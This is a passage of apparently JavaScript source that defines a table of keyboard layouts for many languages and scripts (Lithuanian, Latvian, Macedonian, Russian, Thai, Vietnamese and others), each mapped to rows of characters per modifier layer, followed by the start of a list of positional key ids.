'ABCDEFGHIJKLMNOPQRSTUVWXYZĄČĘĖĮŠŲŪ()_Ž{}|:\"~<>? ', '    €                     1234567890 =          ', '                          !@#$%^&*   +          '],\n\t\t\t\"LT_S\": ['abcdešghijklmnopąrstuvžūyz!-/;:,.=()?xįwqųė`čfę<', 'ABCDEŠGHIJKLMNOPĄRSTUVŽŪYZ1234567890+XĮWQŲĖ~ČFĘ>', '    €                     @_#$§^&*[]\\'%{}| \"´„“\\\\–'],\n\t\t\t\"LT_T\": ['abcdefghijklmnopąrstuvžūyz!\"/;:,.?()_+į“|ųė`čšę ', 'ABCDEFGHIJKLMNOPĄRSTUVŽŪYZ1234567890-=Į”\\\\ŲĖ~ČŠĘ ', '    €                           {[]}            '],\n\t\t\t\"LV\": ['špīsjildzateāoēčūrumnkgbvņ1234567890-fžhķc´ ,.ļģ', 'ŠPĪSJILDZATEĀOĒČŪRUMNKGBVŅ!«»$%/&×()_FŽHĶC°?;:ĻĢ', '           € õ  qŗ w ķģxy «  €\"’ :  –=[]  ´ <> \\\\', '             Õ  QŖ W ĶĢXY  @#$~^±   —;{}  ¨    |'],\n\t\t\t\"LV_Q\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]°;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>?|', 'ā č ē ģ ī ķļ ņõ  ŗš ū    ž «»€°’±×  –     ´    ²', 'Ā Č Ē Ģ Ī ĶĻ ŅÕ  ŖŠ Ū    Ž   §      —     ¨     '],\n\t\t\t\"LV_S\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ā č ē ģ ī ķļ ņō  ŗš ū    ž «»€°’±×  –     ´     ', 'Ā Č Ē Ģ Ī ĶĻ ŅŌ  ŖŠ Ū    Ž   §      —     ¨     '],\n\t\t\t\"MAORI\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"MK\": ['абцдефгхијклмнопљрстувњџѕз1234567890-=шѓжчќ`,./ё', 'АБЦДЕФГХИЈКЛМНОПЉРСТУВЊЏЅЗ!„“’%‘&*()_+ШЃЖЧЌ~;:?Ё', ' {  €[]     §}       @                Ђђ Ћћ    ²'],\n\t\t\t\"MK_S\": ['абцдефгхијклмнопљрстувњџѕз1234567890-=шѓжчќѝ,./ѐ', 'АБЦДЕФГХИЈКЛМНОПЉРСТУВЊЏЅЗ!„“\\'%‚‘*()-+ШЃЖЧЌЍ;:?Ѐ', '                          °@#$ ^&…{}—́[]|   <>\\\\²'],\n\t\t\t\"ML\": ['ോവമ്ാിുപഗരകതസലദജൌീേൂഹനൈംബെ1234567890-ൃഡ  ചടൊ,.യ ', 'ഓഴണഅആഇഉഫഘറഖഥശളധഝഔഈഏഊങ ഐ ഭഎ൧൨൩൪൫൬൭൮()ഃഋഢഞ ഛഠഒഷ   ', '   ഌ            ൗൡ                ൯൦ ൠ          '],\n\t\t\t\"MM\": ['ေဘခိန်ါ့ငြုူာညသစဆမျအကလတထပဖ၁၂၃၄၅၆၇၈၉၀-=ဟဩ၏း\\'ၐ,./၏', 'ဗယဃီဣ္ွံ၍ဲဒဓဦဉဿဏဈ၎ှဤဥဠဝဌ၌ဇဍၒဋၓၔၕရ*()_+ဧဪၑဂ\"ဎ၊။?ၑ', 'abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>?|'],\n\t\t\t\"MN\": ['ймёбуөахшролтиүзфжыэгсцчня№-\"₮:._,%?ещкъ\\\\дп=ьвю ', 'ЙМЁБУӨАХШРОЛТИҮЗФЖЫЭГСЦЧНЯ1234567890ЕЩКЪ|ДП+ЬВЮ '],\n\t\t\t\"MN_S\": ['ᠠᠪᠼᠳᠡᠹᠭᠬᠢᠵᠺᠯᠮᠨᠥᠫᠴᠷᠰᠲᠦᠤᠣᠱᠶᠽ1234567890 =〔〕᠁;᠋᠍᠂᠃. ', '  ᡂ ᠧ  ᠾ  ᠻᡀ ᠩ   ᠿ    ᠸ  ᡁ!⁈⁉—% ᠊ ()᠎+〈〉|᠄᠌~《》? '],\n\t\t\t\"MN_T\": ['ᠠᠪᠴᠳᠡᠹᠭᠬᠢᠵᠺᠯᠮᠨᠥᠫᠣᠷᠰᠲᠦᠤᠸᠱᠶᠽ1234567890 =[]᠁ ᠋᠍᠂᠃· ', '  ᠼ ᠧ  ᠾ  ᠻᡀ ᠩ  ᡂᠿ       ᡁ ⁈⁉ % ᠊ ()᠎+〈〉 ᠄᠌~《》  '],\n\t\t\t\"MR\": ['ोवम्ािुपगरकतसलदजौीेूहनैंब १२३४५६७८९०-ृड़ॉचट ,.यॉ', 'ओ णअआइउफघऱखथशळधझऔईएऊङ ऐँभ ऍॅ      ()ःऋढञऑछठ ष।य़ऑ', '                         ऽ1234567890-=[]\\\\;\\'`,./²', '                       ॐ  !@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"MT_47\": ['abcdefghijklmnopqrstuvwxyz1234567890-=ġħż;\\'ċ,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@€$%^&*()_+ĠĦŻ:\"Ċ<>? ', 'à   è   ì     ò     ù       £         []\\\\  `    ', 'À   È   Ì     Ò     Ù                 {}|  ~    '],\n\t\t\t\"MT_48\": ['abcdefghijklmnopqrstuvwxyz1234567890-=ġħ#;\\'ċ,./ż', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"€$%^&*()_+ĠĦ~:@Ċ<>?Ż', 'à   è   ì     ò     ù       £         []   `   \\\\', 'À   È   Ì     Ò     Ù                 {}   ¬   |'],\n\t\t\t\"NE\": ['बदअमभानजषवपिफलयउ चकतगखधहथश घङझछटठडढण(.ृे सुञ,।र ', '  ऋ  ँ     ीः इएो         १२३४५६७८९०)ं ै् ू ?   ', '              ईऐौ         !@#$%^&*\\'\"-= ओ        ', '  आ            ऊ          1234567890 + औ        '],\n\t\t\t\"NKO\": ['ߏ߬ߵߍߠߌߋߊߜߖߝߣߟ߫ߢߡߔߥߎߦߗߴߧ߲ߙߐ߁߂߃߄߅߆߇߈߉߀-=ߤߒ\\\\ߕߓ߷ߛߘߞ ', '߶߰߭[ ]  ÷ߺ،/߸߯×ߪߩ °  ߮ߨ߱ߚ߳߹   %  *()_+‹›|:\" ߑ.؟ '],\n\t\t\t\"NL\": ['abcdefghijklmnopqrstuvwxyz1234567890/°¨*<+´@,.-]', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&_()\\'?~^|>±`§;:=[', '  ¢         µ    ¶ß    » «¹²³¼½¾£{} \\\\¸     ¬ · ¦'],\n\t\t\t\"NO\": ['abcdefghijklmnopqrstuvwxyz1234567890+\\\\å¨\\'øæ|,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ØÆ§;:_>', '    €       µ              @£$€ {[]} ´ ~       ²'],\n\t\t\t\"NO_S\": ['abcdefghijklmnopqrstuvwxyz1234567890+\\\\å¨\\'øæ|,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ØÆ§;:_>', 'áʒčđ ǥǧȟï ǩ µŋõ â šŧ ǯ   ž @£$€ {[]} ´ ~ öä    ²', 'ÁƷČĐ€ǤǦȞÏ Ǩ  ŊÕ Â ŠŦ Ǯ   Ž               ÖÄ     '],\n\t\t\t\"NO_SE\": ['abcdefghijklmnopárstuvščŧz1234567890+\\\\åŋđøæ|,.-ž', 'ABCDEFGHIJKLMNOPÁRSTUVŠČŦZ!\"#¤%&/()=?`ÅŊĐØÆ§;:_Ž', 'â   € ǧǥï ǩ µ õ q     wxyʒ @£$€ {[]} ´¨~\\'öä <> ǯ', 'Â     ǦǤÏ Ǩ   Õ Q     WXYƷ            ^ˇ*ÖÄ    Ǯ'],\n\t\t\t\"NSO\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'á ©ðé   í  øµñóöä ßþú å üæ¡²³¤€¼½¾‘’¥×«»¬¶´ çš¿ ', 'Á ¢ÐÉ   Í  Ø ÑÓÖÄ®§ÞÚ Å ÜÆ¹  £       ÷  ¦°¨ ÇŠ  '],\n\t\t\t\"NTL\": ['ᦰᦢᦈᦡᦵᦚᦄᦠᦲᦕᦂᦜᦖᦐᦷᦔᦀᦏᦉᦎᦳᦛᧈᦃᦊ᧞！＠＃＄％…＆*（）—+[]、； ～，。/ ', 'ᦱᦥᦋᦤᦶᦝᦇᦣᧀᦘᦅᦟᦙᦓᦸᦗᦁᦒᦌᦑᦴᦞᧉᦆᦍ᧟᧑᧒᧓᧔᧕᧖᧗᧘᧙᧐-={}|： ᧚《》？ ', 'ᦫᧇᦩᧆᦹ ᧂᦦᦿᦨᧅᦺᧄᧃᦽ  ᦾᦪ ᦼᧁ ᦧᦻ                       '],\n\t\t\t\"OGHAM\": ['ᚐᚁᚉᚇᚓᚃᚌᚆᚔᚗᚖᚂᚋᚅᚑᚚᚊᚏᚄᚈᚒᚍᚕᚙᚘᚎ              ᚛       ', '                                        ᚜       '],\n\t\t\t\"OLCHIKI\": ['ᱳᱣᱢᱚᱟᱤᱩᱯᱜᱨᱠᱛᱥᱞᱫᱡ  ᱮ ᱦᱱ ᱸᱵᱷ᱑᱒᱓᱔᱕᱖᱗᱘᱙᱐  ᱰᱹ ᱪᱴ ,.ᱭ ', ' ᱶᱬ                 ᱝ    ᱽ   ₹      ᱼ ᱲᱧ ᱺ ᱻ᱿᱾  '],\n\t\t\t\"OR\": ['ୋୱମ୍ାିୁପଗରକତସଲଦଜୌୀେୂହନୈଂବୟ1234567890-ୃଡ଼ ଚଟ ,.ୟ ', 'ଓ ଣଅଆଇଉଫଘ ଖଥଶଳଧଝଔଈଏଊଙ ଐଁଭୱ   ₹    ()ଃଋଢଞ ଛଠ ଷ।ଯ ', ' ଵ   ୢ           ୣ     ୰  ୧୨୩୪୫୬୭୮୯୦ ୄଡ଼      ॥  ', '     ଌ           ୡ                   ୠଢ଼      ଽ  '],\n\t\t\t\"PA\": ['ੋਵਮ੍ਾਿੁਪਗਰਕਤਸਲਦਜੌੀੇੂਹਨੈੰਬ 1234567890- ਡ਼ ਚਟ ,.ਯ ', 'ਓੲਣਅਆਇਉਫਘੜਖਥਸ਼ਲ਼ਧਝਔਈਏਊਙ ਐਂਭ    ੱ    ()  ਢਞ ਛਠ  ।  ', ' ੳ   ੲੳਫ਼ਗ਼ ਖ਼    ਜ਼       ੴ  ੧੨੩੪੫੬੭੮੯੦  ੜ      ॥  ', '                             ₹                  '],\n\t\t\t\"PHAGS\": ['ꡖꡎꡄꡊꡠꡤꡂꡜꡞꡆꡀꡙꡏꡋꡡꡌꡢꡘꡛꡈꡟꡧꡓꡣꡗꡕ1234567890 =〔〕᠁ꡃ꡶꡴᠂᠃᠅ ', 'ꡝ ꡅ ꡦꡰꡥꡯ  ꡁ ꡳ  ꡍ ꡲꡚꡉ  ꡧ ꡨꡔ!⁈⁉—% & () +〈〉fe00ꡇ꡷꡵、。? ', '  ꡐ      ꡒ   ꡬ   ꡱꡮꡩ    ꡭ             《》     ᠄  ', '  ꡑꡫ               ꡪ                            '],\n\t\t\t\"PL\": ['abcdefghijklmnopqrstuvwxzy1234567890+\\'żśółą˛,.- ', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"#¤%&/()=?*ńćźŁę·;:_ ', ' { Đ        §}  \\\\ đ €@¦   ~ˇ^˘°˛`·´˝¨¸÷× $ß <>  '],\n\t\t\t\"PL_P\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ą ć ę      ł ńó   ś €  ź ż                      ', 'Ą Ć Ę      Ł ŃÓ   Ś    Ź Ż                      '],\n\t\t\t\"PS\": ['شذزیثبلاهتنمړدخحضقسفعرصطغظ۱۲۳۴۵۶۷۸۹۰-=جچ\\\\کګ وږ/ ', 'ښ ژيٍپأآّټڼةؤډځڅًْۍَُءٌېِئ!٬٫؋٪×»«)(ـ+][*:؛ٔ،.؟ ', '   ےىںڷإٰٹ><ڑڈ\\'\"€   ٙ ٱ;ٓ?~@#$%^&٭•°_÷}{|كگ`,ۇۉ '],\n\t\t\t\"PT\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'«+´~çº\\\\,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&/()=?»*`^Çª|;:_>', '    €                      @£§€ {[]}  ¨]       ²'],\n\t\t\t\"RO\": ['abcdefghijklmnopqrstuvwxzy1234567890+\\'ăîâşţ],.- ', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"#¤%&/()=?*ĂÎÂŞŢ[;:_ ', ' { Đ      łŁ§}  \\\\ đ  @|   ~ˇ^˘°˛`·´˝¨¸÷× $ß <>  '],\n\t\t\t\"RO_P\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ă ©đ€   î  ł   §â șț  ß   ~ˇ^˘°˛`˙´˝¨¸„”    «»  ', 'Ă  Đ    Î  Ł    Â ȘȚ                –±          '],\n\t\t\t\"RO_S\": ['abcdefghijklmnopqrstuvwxyz1234567890-=ăîâșț„,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+ĂÎÂȘȚ”;:? ', '  ©đ€      ł   §  ß       ~ˇ^˘°˛`˙´˝¨¸[]\\\\;\\'`<>  ', '   Đ       Ł                        –±{}|:\"~«»  '],\n\t\t\t\"RU\": ['фисвуапршолдьтщзйкыегмцчня1234567890-=хъ\\\\жэёбю. ', 'ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ!\"№;%:?*()_+ХЪ|ЖЭЁБЮ, '],\n\t\t\t\"RU_M\": ['абцдефгхийклмнопярстувшжыз1234567890-=[]\\\\;ьъ,./ ', 'АБЦДЕФГХИЙКЛМНОПЯРСТУВШЖЫЗ!\"№;%:?*()_+{}/:ЬЪ<>? ', '                                 ₽        ’¨    '],\n\t\t\t\"RU_SAKHA\": ['фисвуапршолдьтщзйкыегмцчня!  ҥҕөһү;:-=хъ\\\\жэ\"бю. ', 'ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ?  ҤҔӨҺҮ()_+ХЪ/ЖЭ№БЮ, ', '                                 ₽              '],\n\t\t\t\"RU_T\": ['фисвуапршолдьтщзйкыегмцчня№-/\":,._?%!;хъ)жэ|бюё)', 'ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ1234567890=\\\\ХЪ(ЖЭ+БЮЁ(', '                                 ₽             ²'],\n\t\t\t\"SB\": ['abcdefghijklmnopqrstuvwxzy1234567890ß´ü+#öä^,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"§$%&/()=?`Ü*\\'ÖÄ°;:_>', '    €       µ   @          ²³   {[]}\\\\  ~       |'],\n\t\t\t\"SB_E\": ['abcdefghijklmnopqrstuvwxzy1234567890ß´ü+łöä^,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"§$%&/()=?`Ü*ŁÖÄ°;:_>', '    €           @         »«„‚‘“{[]}\\\\  ~#     –|'],\n\t\t\t\"SB_L\": ['abcdefghijklmnopqrstuvwxzy1234567890ß´ü+łöä^,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"§$%&/()=?`Ü*ŁÖÄ°;:_>', '    €       µ   @         »«„‚‘“{[]}\\\\  ~#      |'],\n\t\t\t\"SI\": ['්ඉජාැෙටයසවනකපබදචුරිඒමඩඅංහ\\'1234567890-=ඤ; ත. ලග/ ', 'ෟඊඣෘෑෆඨ ෂ ණඛඵභධඡූඍීඔඹඪඋඃශ\"!@$$%^&*()_+ඥ: ථ, ළඝ? ', 'ෳඐඦෲෛආඇඈ  ඓඕ  ඳ ෞේෝඑ ඬොඞඎඌ               ඖ෴ ඏඟ  '],\n\t\t\t\"SK\": ['abcdefghijklmnopqrstuvwxzy+ľščťžýáíé=´úäňô§;,.-&', 'ABCDEFGHIJKLMNOPQRSTUVWXZY1234567890%ˇ/()\"!°?:_*', ' {&Đ€[]   łŁ } \\'\\\\ đ  @|# >~ˇ^˘°˛`˙´˝¨¸÷×¤$ß <>*<'],\n\t\t\t\"SK_Q\": ['abcdefghijklmnopqrstuvwxyz+ľščťžýáíé=´úäňô§;,.-&', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890%ˇ/()\"!°?:_*', ' {&Đ€[]   łŁ } \\'\\\\ đ  @|# >~ˇ^˘°˛`˙´˝¨¸÷×¤$ß <>*<'],\n\t\t\t\"SORA\": ['ტგდეუთვპფრჟიზკღმ ოაბქლყსნშჱჲჳჴჵჶჷჸჹჰ-=[]\\\\;\\'`,./ ', '                          !@#$%^&*()_+{}|:\"~<>? ', '                             ₹                  '],\n\t\t\t\"SQ\": ['abcdefghijklmnopqrstuvwxzy1234567890-=ç@]ë[\\\\,./<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"#$%^&*()_+Ç\\'}Ë{|;:?>', ' { Đ []   łŁ§}  \\\\ đ  @|   ~ˇ^˘°˛`˙´˝¨¸÷×¤$ß <> ²'],\n\t\t\t\"SR_C\": ['абцдефгхијклмнопљрстувњџзѕ1234567890\\'+шђжчћ`,.- ', 'АБЦДЕФГХИЈКЛМНОПЉРСТУВЊЏЗЅ!\"#$%&/()=?*ШЂЖЧЋ~;:_ ', '    €                                       <>  '],\n\t\t\t\"SR_L\": ['abcdefghijklmnopqrstuvwxzy1234567890\\'+šđžčć‚,.- ', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"#$%&/()=?*ŠĐŽČĆ~;:_ ', ' {  €[]   łŁ§}  \\\\    @|   ~ˇ^˘°˛`˙´˝¨¸÷×¤ ß <>  '],\n\t\t\t\"SV_FI\": ['abcdefghijklmnopárstuvščŧz1234567890+´åŋđöä§,.-ž', 'ABCDEFGHIJKLMNOPÁRSTUVŠČŦZ!\"#¤%&/()=?`ÅŊĐÖÄ½;:_Ž', 'â   € ǧǥï ǩ µ õ q     wxyʒ @£$€ {[]}\\\\ ¨~\\'øæ|<> ǯ', 'Â     ǦǤÏ Ǩ   Õ Q     WXYƷ            ^ˇ*ØÆ    Ǯ'],\n\t\t\t\"SV_SE\": ['abcdefghijklmnopqrstuvwxyz1234567890+´å¨\\'öä§,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ÖÄ½;:_>', '    €       µ              @£$€ {[]}\\\\  ~       |'],\n\t\t\t\"TA\": ['ோவம்ாிுபகரகதஸலதஜௌீேூஹநை பெ1234567890- டஞ சடொ,.ய ', 'ஓழணஅஆஇஉபகறகதஷளதசஔஈஏஊஙனஐ பஎ          ஃ ட  சடஒஷ ய ', '                          ௧௨௩௪௫௬௭௮௯௰௱௲          '],\n\t\t\t\"TA_99\": ['அஙஒஉஊ்எகனபமதரலடணஆஐஇஏறவஈஓளஔ1234567890-=சஞ\\\\நய`,.ழ ', '௹௷௵௸ஜஃஎக ப\":/ௐ[]ஸஹ௺ ஶ௶ஷ௴ ௳!@#$%^&*()_+{}|;\\'~<>? '],\n\t\t\t\"TAILE\": ['ᥣᥙᥬᥖᥥᥜᥐᥞᥤᥓᥑᥘᥛᥒᥨᥚᥪᥫᥔᥗᥧᥝᥩᥦᥕᥟ၁၂၃၄၅၆၇၈၉၀ᥰᥱᥲᥳ ᥭᥴ ᥢᥡᥠ ', '                          ！＠＃＄％…＆*（）—+[]、； ～，。/ ', '                                    -={}·：  《》？ '],\n\t\t\t\"TE\": ['ోవమ్ాిుపగరకతసలదజౌీేూహనైంబె1234567890-ృడ  చటొ,.య ', 'ఓ ణఅఆఇఉఫఘఱఖథశళధఝఔఈఏఊఙనఐఁభఎ        ()ఃఋఢఞ ఛఠఒష   ', '     ఌ         ౙ ౡౕ   ౖ   ౧౨౩౪౫౬౭౮౯౦ ౄ   ౘ      ', '                             ₹       ౠ          '],\n\t\t\t\"TFNG_B\": ['ⵇⴱⵛⴷⴻⴼⴳⵀⵉⵊⴽⵍ,ⵏⵄⵃⴰⵔⵙⵜⵓⵖⵣⵅⵢⵡ& \"\\'(- _  )=ⵯ$*ⵎ ²;:!<', '   ⴹ€       ?    ⵕⵚⵟ  ⵥ   1234567890°+ £µ % ./§>', '                           ~#{[| \\\\^@]} ¤       ²'],\n\t\t\t\"TFNG_E\": ['ⵇⴱⵛⴷⴻⴼⴳⵀⵉⵊⴽⵍ,ⵏⵄⵃⴰⵔⵙⵜⵓⵖⵣⵅⵢⵡ&ⵒ\"\\'(-ⵤ_— )=ⵯ$*ⵎⵑ²;:!<', 'ⵈⴲⴿⴹⵗⴵ ⵁⵘⵋ ⴸ?ⵐⵝⵞⴶⵕⵚⵟⵌⴴⵥⵆⵂⴾ1234567890°+ⵠ£µⴺ% ./§>', '    €                      ~#{[| \\\\^@]} ¤       ²'],\n\t\t\t\"TG\": ['фисвуапршолдӣтҳзйкҷегмқчня1234567890ғӯхъ\\\\жэёбю. ', 'ФИСВУАПРШОЛДӢТҲЗЙКҶЕГМҚЧНЯ!\"№;%:?*()ҒӮХЪ/ЖЭЁБЮ, '],\n\t\t\t\"TH_K\": ['ฟิแกำดเ้ร่าสทืนยๆพหะีอไปัผๅ/-ภถุึคตจขชบลฃวง_มใฝฃ', 'ฤฺฉฏฎโฌ็ณ๋ษศ?์ฯญ๐ฑฆธ๊ฮ\")ํ(+๑๒๓๔ู฿๕๖๗๘๙ฐ,ฅซ.%ฒฬฦฅ', '                                      %๑+      ๒'],\n\t\t\t\"TH_KN\": ['ฟิแกำดเ้ร่าสทืนยๆพหะีอไปัผๅ/-ภถุึคตจขชบลฃวง_มใฝฃ', 'ฤฺฉฏฎโฌ็ณ๋ษศ?์ฯญ๐ฑฆธ๊ฮ\")ํ(+๑๒๓๔ู฿๕๖๗๘๙ฐ,ฅซ.%ฒฬฦฅ'],\n\t\t\t\"TH_P\": ['้ิลงยกัีมานเสควแ็อทรดหตป่บ=๒๓๔๕ู๗๘๙๐๑๖ใฌ ไข_ะจพ ', '๋ัฐำๆณ์ืซผชโฮศถฒ๊ญธษฝภฤฏึฎ+\"/,?ุ_.()-%ฯฦํฆฑ฿ฟฉฬํ', '                                               ²'],\n\t\t\t\"TH_PN\": ['้ิลงยกัีมานเสควแ็อทรดหตป่บ=๒๓๔๕ู๗๘๙๐๑๖ใฌ ไข_ะจพ ', '๋ัฐำๆณ์ืซผชโฮศถฒ๊ญธษฝภฤฏึฎ+\"/,?ุ_.()-%ฯฦํฆฑ฿ฟฉฬํ'],\n\t\t\t\"TK\": ['abçdefghijklmnopärstuýwüyz1234567890-=ňöş;\\'ž,./ ', 'ABÇDEFGHIJKLMNOPÄRSTUÝWÜYZ!@#$%№&*()_+ŇÖŞ:\"Ž<>? ', '                                        |     \\\\ '],\n\t\t\t\"TR_F\": ['uçveğaütnkmlszhpfıiorcgödj1234567890/-qwxyş+b.,<', 'UÇVEĞAÜTNKMLSZHPFIİORCGÖDJ!\"^$%&\\'()=?_QWXYŞ*B:;>', 'æ ¢€ ª ₺    µ ø£@¶ß    »¥«¹²#¼½¾{[]}\\\\|¨~`´ ¬×÷ |', 'Æ ©         º Ø  ®§    > <¡ ³¤      ¿          ¦'],\n\t\t\t\"TR_Q\": ['abcdefghıjklmnopqrstuvwxyz1234567890*-ğü,şi\"öç.<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\\'^+%&/()=?_ĞÜ;ŞİéÖÇ:>', 'æ   €   i       @ ß₺      >£#$½ {[]}\\\\|¨~`´ <   |', 'Æ       İ                                       '],\n\t\t\t\"TT\": ['фисвуапршолдҗтәзйкыегмөчня1234567890-=хү\\\\ңэһбю.ґ', 'ФИСВУАПРШОЛДҖТӘЗЙКЫЕГМӨЧНЯ!\"№;%:?*()_+ХҮ/ҢЭҺБЮ,Ґ', '            ь щ       ц    @#$  []{}   ъ ж\\'ё<> ²', '            Ь Щ       Ц                Ъ Ж Ё    '],\n\t\t\t\"TT_102\": ['фисвуапршолдҗтәзйкыегмөчня1234567890-=хү\\\\ңэһбю.\\\\', 'ФИСВУАПРШОЛДҖТӘЗЙКЫЕГМӨЧНЯ!\"№;%:?*()_+ХҮ/ҢЭҺБЮ,/', '            ь щ       ц    @#$  []{}   ъ ж\\'ё<> ²', '            Ь Щ       Ц          ₽     Ъ Ж Ё    '],\n\t\t\t\"TZM\": ['qbcdefghijkl,noparstuvzxyw&é\"\\'(-è_çà)=^$*mù²;:!<', 'QBCDEFGHIJKL?NOPARSTUVZXYW1234567890°+¨£µM% ./§>', '    €                      ~#{[|`\\\\^@]} ¤       ²'],\n\t\t\t\"UG\": ['ھبغدېاەىڭقكلمنوپچرستۇۈۋشيز1234567890-=][\\\\؛\\'`،.ئ ', '   ژ فگخ جۆ               !@#$%^&*)(_+»«|:\"~><؟ '],\n\t\t\t\"UG_L\": ['ھبغدېاەىڭقكلمنوپچرستۇۈۋشيز1234567890-=][\\\\؛\\'`،.ئ ', '   ژ ڧگخ جۆ               !@#$%^&*)(_+»«|:\"~><؟ '],\n\t\t\t\"UK\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]#;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%^&*()_+{}~:@¬<>?|', 'á   é   í     ó     ú        €             ¦   ²', 'Á   É   Í     Ó     Ú                           '],\n\t\t\t\"UK_E\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]#;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%^&*()_+{}~:@¬<>? ', 'á ç é   í     ó     ú ẃ ý  ¨ € ^       |~ ´¦    ', 'Á Ç É   Í     Ó     Ú Ẃ Ý               \\\\ `     '],\n\t\t\t\"UKR\": ['фисвуапршолдьтщзйкіегмцчня1234567890-=хї\\\\жєёбю.ґ', 'ФИСВУАПРШОЛДЬТЩЗЙКІЕГМЦЧНЯ!\"№;%:?*()_+ХЇ/ЖЄЁБЮ,Ґ', '                    ґ                           ', '                    Ґ                           '],\n\t\t\t\"UKR_E\": ['фисвуапршолдьтщзйкіегмцчня1234567890-=хї\\\\жє\\'бю.ґ', 'ФИСВУАПРШОЛДЬТЩЗЙКІЕГМЦЧНЯ!\"№;%:?*()_+ХЇ/ЖЄ₴БЮ,Ґ', '                    ґ                           ', '                    Ґ                           '],\n\t\t\t\"UR\": ['مشےرھنلہباکیعغجحطدوٹتسصفپق1234567890-=][\\\\؛\\'`،۔/ ', 'ژؤۓڑذںۂءـآگي ئچخظڈزثۃ ض ّ !@#$٪^ۖ٭)(_+}{|:\"~><؟ ', 'ۢ   ٍ  أ إ    ُِ ٌ    ً          ۙ    َْ        '],\n\t\t\t\"US\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"US_M\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'á ©ðé   í  øµñóöä®ßþú å üæ¡²³¤ ¼½¾‘’¥×«»¬¶´ ç ¿ ', 'Á ¢ÐÉ   Í  Ø ÑÓÖÄ $ÞÚ Å ÜÆ¹  £       ÷  ¦°¨ Ç   '],\n\t\t\t\"UZ\": ['фисвуапршолдьтўзйкқегмцчня1234567890ғҳхъ\\\\жэёбю. ', 'ФИСВУАПРШОЛДЬТЎЗЙКҚЕГМЦЧНЯ!\"№;%:?*()ҒҲХЪ/ЖЭЁБЮ, '],\n\t\t\t\"VI\": ['abcdefghijklmnopqrstuvwxyzăâêộ̀̉̃́đ-₫ươ\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZĂÂÊỘ̀̉̃́Đ_+ƯƠ|:\"~<>? ', 'abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"WOLOF\": ['qbcdefghijkl,noparstuvzxyw&é\"\\'(-ñ_ŋà)=^ó*mùã;:!<', 'QBCDEFGHIJKL?NOPARSTUVZXYW1234567890É+¨ÓÑMÀÃ./Ŋ>', '    €                      ~#{[|`\\\\^@]} ¤       ²'],\n\t\t\t\"YO\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', '                              €   ‘’    ¦¶¨     '],\n\t\t};\n\t\t\n\t\tconst positionalIds = [\"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"0a\", \"0b\", \"0c\", \"0d\", \"0e\", \"0f\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"1a\", \"1b\", \"1c\", \"1d\", \"1e\", \"1f\", \"20\", \"21\", 